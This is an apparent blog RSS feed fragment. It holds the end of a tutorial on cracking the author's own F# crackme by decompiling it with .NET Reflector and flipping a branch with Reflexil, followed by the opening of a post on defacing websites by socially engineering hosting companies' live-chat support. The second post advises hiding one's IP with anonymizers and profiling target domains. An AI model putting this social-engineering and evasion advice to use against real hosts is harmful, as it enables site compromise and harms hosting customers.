<p class="MsoNormal"><span><span style="font-weight:normal;">mabout.Click.Add(fun _ -&gt; System.Windows.Forms.MessageBox.Show(&#8220;Aodrulez&#8217;s F# Crackme V1.0\nHappy Cracking!&#8221;,&#8221;Aodrulez&#8221;);())</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">miQuit.Click.Add(fun _ -&gt; form.Close())</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">btn1.Click.Add(fun _ -&gt; (if textB.Text=&#8221;</span><span><span style="font-weight:normal;">Awesome</span></span><span style="font-weight:normal;">&#8221; then System.Windows.Forms.MessageBox.Show(&#8220;</span><span><span style="font-weight:normal;">Correct!\n <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></span><span style="font-weight:normal;">&#8220;,&#8221;Aodrulez&#8221;);() else System.Windows.Forms.MessageBox.Show(&#8220;</span><span><span style="font-weight:normal;">Wrong <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  . Try again!</span></span><span style="font-weight:normal;">&#8220;,&#8221;Aodrulez&#8221;);()))</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">#if COMPILED</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">// Run the main code. The attribute marks the startup application thread as &#8220;Single </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">// Thread Apartment&#8221; mode, which is necessary for GUI applications. </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">[&lt;STAThread&gt;]</span><span><span style="font-weight:normal;">    </span></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">do Application.Run(form)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">#endif</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>To compile it&#8230; save this as Batch file &amp; run it:</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@setlocal</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@REM 1. Configure the sample, i.e. where to find the F# compiler and TLBIMP tool.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@if &#8220;%FSHARP_HOME%&#8221;==&#8221;" ( set FSHARP_HOME=..\..\..)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@set FSC=%FSHARP_HOME%\bin\fsc.exe</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@REM 2. Build the sample</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">%FSC% &#8211;target-winexe -g Aodrulez.fs</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@if ERRORLEVEL 1 goto Exit</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">:Exit</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@endlocal</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">@exit /b %ERRORLEVEL%</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Reversing F#:</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Okies..now that we have the Test Application ready.. lets see how </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">it works!</span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/1.jpg"><img class="alignnone size-full wp-image-42" title="1" src="http://orchidseven.files.wordpress.com/2008/12/1.jpg?w=481&#038;h=296" alt="1" width="481" height="296" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">As you can see above&#8230;we&#8217;ve designed a GUI based application that needs some Code to be entered.It sure is&#8217;nt the one currently entered <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .If you have a look at the Applications’ F# source-code above&#8230; you&#8217;ll see that the actual code that the App is looking for is &#8220;Awesome&#8221;.So lets try that one&#8230;.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> <a href="http://orchidseven.files.wordpress.com/2008/12/2.jpg"><img class="alignnone size-full wp-image-44" title="2" src="http://orchidseven.files.wordpress.com/2008/12/2.jpg?w=465&#038;h=231" alt="2" width="465" height="231" /></a></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><span><span style="font-weight:normal;">         </span></span><span style="font-weight:normal;">Yeah!..that was the Code our small little F# app was looking for.</span></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Now this was no big deal! Anyone can reverse an App if you have its </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Source-Code.So lets &#8220;Reverse Engineer&#8221; it the actual way&#8230;.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Time For Some Reverse Engineering………………</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> <strong>.NET Reflector:</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Am using .NET Reflector since I know that F# is already .NET </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Compatible.So heres how .NET Reflector looks like:</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/3.jpg"><img class="alignnone size-full wp-image-45" title="3" src="http://orchidseven.files.wordpress.com/2008/12/3.jpg?w=525&#038;h=637" alt="3" width="525" height="637" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Now am opening my &#8220;Aodrulez.exe&#8221; which is our Compiled F# App in</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Reflector.Heres how it looks like then:</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/4.jpg"><img class="alignnone size-full wp-image-46" title="4" src="http://orchidseven.files.wordpress.com/2008/12/4.jpg?w=595&#038;h=539" alt="4" width="595" height="539" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Oops! thats an Error saying it can&#8217;t find some file thats required</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">by F#. So just manually Browse &amp; Select &#8220;FSharp.Core.dll&#8221; &amp; Reflector</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">is all happy! So now we are all set to reverse F# using .NET Reflector. </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/5.jpg"><img class="alignnone size-full wp-image-47" title="5" src="http://orchidseven.files.wordpress.com/2008/12/5.jpg?w=546&#038;h=526" alt="5" width="546" height="526" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">The above picture shows the Decompiled Listing of our App in C#</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">code&#8230; &#8220;.NET Reflector&#8221; simply works fine with F# too <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Lets look for some more interesting code in our app&#8217;s Decompilation!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/6.jpg"><img class="alignnone size-full wp-image-48" title="6" src="http://orchidseven.files.wordpress.com/2008/12/6.jpg?w=579&#038;h=537" alt="6" width="579" height="537" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Are you seeing what am seeing too???? Thats my Code in all its Glory!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Its intact.. &amp; I believe, even a 2yr old can understand that!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Patching F# App???</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Yeah..u read it right too&#8230; Lets try to patch this small app</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">of ours to accept any String as Valid code.. <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . For that we&#8217;ll use</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">one of Reflector&#8217;s Plugins called as &#8220;Reflexil&#8221;.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/7.jpg"><img class="alignnone size-full wp-image-49" title="7" src="http://orchidseven.files.wordpress.com/2008/12/7.jpg?w=565&#038;h=536" alt="7" width="565" height="536" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Reflexil Shows IL Disassembly as shown below which we can Modify as we</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">wish.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> <a href="http://orchidseven.files.wordpress.com/2008/12/8.jpg"><img class="alignnone size-full wp-image-50" title="8" src="http://orchidseven.files.wordpress.com/2008/12/8.jpg?w=572&#038;h=628" alt="8" width="572" height="628" /></a></span></span></p>
<p class="MsoNormal"><span><br />
<!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Lets modify that &#8220;brfalse.s&#8221; to &#8220;brtrue.s&#8221;. What will that do?</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">As you can see in the above pic, thats the conditional jump. So</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">what we are tryin to do is to make it jump to the &#8220;Correct! <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8220;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">MessageBox no matter what Text we enter.( Note that here, the actual</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">code..ie Awesome will give me the &#8220;Wrong <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8221; MessageBox! )</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">So lets patch it!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/9.jpg"><img class="alignnone size-full wp-image-51" title="9" src="http://orchidseven.files.wordpress.com/2008/12/9.jpg?w=559&#038;h=633" alt="9" width="559" height="633" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> <a href="http://orchidseven.files.wordpress.com/2008/12/10.jpg"><img class="alignnone size-full wp-image-52" title="10" src="http://orchidseven.files.wordpress.com/2008/12/10.jpg?w=589&#038;h=624" alt="10" width="589" height="624" /></a></span></span></p>
<p class="MsoNormal"><span><br />
<!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">And now lets save this Executable!</span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/111.jpg"><img class="alignnone size-full wp-image-53" title="111" src="http://orchidseven.files.wordpress.com/2008/12/111.jpg?w=558&#038;h=625" alt="111" width="558" height="625" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">I&#8217;ve saved my patched exe as &#8220;Aodrulez_patched.exe&#8221;. Now lets try</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">if our patch works or not <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><a href="http://orchidseven.files.wordpress.com/2008/12/12.jpg"><img class="alignnone size-full wp-image-54" title="12" src="http://orchidseven.files.wordpress.com/2008/12/12.jpg?w=442&#038;h=200" alt="12" width="442" height="200" /></a><!--[if gte mso 9]&gt;   &lt;![endif]--></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">It sure does! Thats how simple it is to Crack an F# Application <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Moral of the Story:</strong></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">As of now, F# is in its infancy I believe.But if its</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">.NET Framework Compatibility is continued, I don&#8217;t think it&#8217;ll</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">last for long.Why? Think of it this way&#8230;.</span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Suppose you own some Software Company thats developing</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">a new Algorithm&#8230; something that you just don&#8217;t want to disclose.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">As long as you code your apps using this Algo in traditional</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">programming languages&#8230;its very tedious to rip your algorithm</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&amp; to reverse them.But lets say&#8230;you chose one of those .NET</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Languages.Lets say F#&#8230;. when you compile your Application &amp;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Sell/Distribute it as a Product, its as good as saying you are</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">distributing Pamphlets of your Secret Algoritm&#8217;s Source-code!</span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">As a Software company thats the last thing you want to</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">happen to you..is&#8217;nt it? </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">So&#8230;Microsoft&#8230;Please! I think F# has a long way to go.Its</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">a really beautiful Idea in itself.Don&#8217;t mix this Programming Language</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">with your .NET Framework.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Disclaimer:</strong></span></span></p>
<p class="MsoNormal" style="text-align:left;"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">This paper was solely put together for Informational Purpose &amp; to point</span></span></p>
<p class="MsoNormal" style="text-align:left;"><span><span style="font-weight:normal;">out the weaker aspects of .NET Framework &amp; the recently introduced F# language.</span></span></p>
<p class="MsoNormal" style="text-align:left;"><span><span style="font-weight:normal;">The author shall in no way be responsible for any damage caused by misuse of the </span></span></p>
<p class="MsoNormal" style="text-align:left;"><span><span style="font-weight:normal;">information provided here.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span style="font-weight:normal;"><br />
</span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/36/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/36/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/36/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/36/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/36/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/36/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/36/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/36/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=36&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2009/01/11/reverse-engineering-%e2%80%9cmicrosoft-f%e2%80%9d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/521ac755f0f7b5b43df050f10bf2b0f6?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">atulcherian</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/1.jpg" medium="image">
			<media:title type="html">1</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/2.jpg" medium="image">
			<media:title type="html">2</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/3.jpg" medium="image">
			<media:title type="html">3</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/4.jpg" medium="image">
			<media:title type="html">4</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/5.jpg" medium="image">
			<media:title type="html">5</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/6.jpg" medium="image">
			<media:title type="html">6</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/7.jpg" medium="image">
			<media:title type="html">7</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/8.jpg" medium="image">
			<media:title type="html">8</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/9.jpg" medium="image">
			<media:title type="html">9</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/10.jpg" medium="image">
			<media:title type="html">10</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/111.jpg" medium="image">
			<media:title type="html">111</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/12.jpg" medium="image">
			<media:title type="html">12</media:title>
		</media:content>
	</item>
		<item>
		<title>Dangers of Live Chat Customer Support – Defacing a website</title>
		<link>http://orchidseven.wordpress.com/2008/12/02/28/</link>
		<comments>http://orchidseven.wordpress.com/2008/12/02/28/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 17:12:17 +0000</pubDate>
		<dc:creator>rajsm</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=28</guid>
		<description><![CDATA[Introduction Live chat Doing your homework What goes behind customer support? Case Study &#8211; Executing the hack What not to do on Live Chat Prevention Conclusion Introduction Instant messaging has changed the way we communicate to a great extent. To provide a better user experience and enhance sales, a lot of companies now offer support [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=28&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<ol style="margin-top:0;" type="1">
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Introduction</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Live chat </span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Doing your homework</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">What goes behind customer support?</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Case Study &#8211; Executing the hack</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">What not to do on Live Chat</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Prevention</span></span></span></li>
<li class="MsoNormal"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Conclusion</span></span></span></li>
</ol>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Introduction</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Instant messaging has changed the way we communicate to a great extent. To provide a better user experience and enhance sales, a lot of companies now offer support using the Live Chat. You can find it almost everywhere. There are numerous benefits &#8211; Instant support, quick resolution to queries, instant reach etc. But how safe is customer data when companies are providing support over Live Chat? </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">While there are a lot of psychological dimensions that apply to chat, instant messaging and other electronic communication forms, we will discuss the dangers of live chat and see how we can exploit it to compromise the security of an unknown website. </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Live Chat</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">There are many companies who provide 24/7 Live support to their customers. Some of them include:</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.ixwebhosting.com    &#8211; hosting 350,000 domains</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.hostmonster.com     &#8211; hosting 450,000 domains</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">www.hostgator.com          - hosting 1,300,000 domains</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">There are usually three popular categories in Live chat:</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">1. Sales</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">2. Technical</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">3. Billing</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Our interest is in technical live chat &#8211; simple because they will most likely have access to customer servers and applications. When you typically click on a Live Chat button, it may ask you if you are an existing customer or not, if yes, then what is your Cpanel (control panel) username and it&#8217;s associated domain name. But this is usually optional. Before you click &#8220;I&#8217;m an existing customer&#8221; to try something out, it is best you do your homework.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;"><span><span><span style="font-size:10pt;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Doing your homework</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">It is always a good idea to test the live chat feature of your target hosting company as a regular visitor interested in some plans. Note that most of these live chat tools enable a support engineer to track your IP, visited pages and time spent. So it&#8217;s best to use anonimyzers than give away a large pattern of repeated visits and activity from a location. Always make Plan A and Plan B. If one of your strategy fails, you should not look lost while in conversation. Quickly provide alternatives to continue. Next, you should collect as much information as possible about the website you want to compromise. You can start off by looking at nameserver or DNS details using online passive information gathering tools. If your target is a specific hosting company, you can find all the customer domains hosted by them. </span></span></span></p>
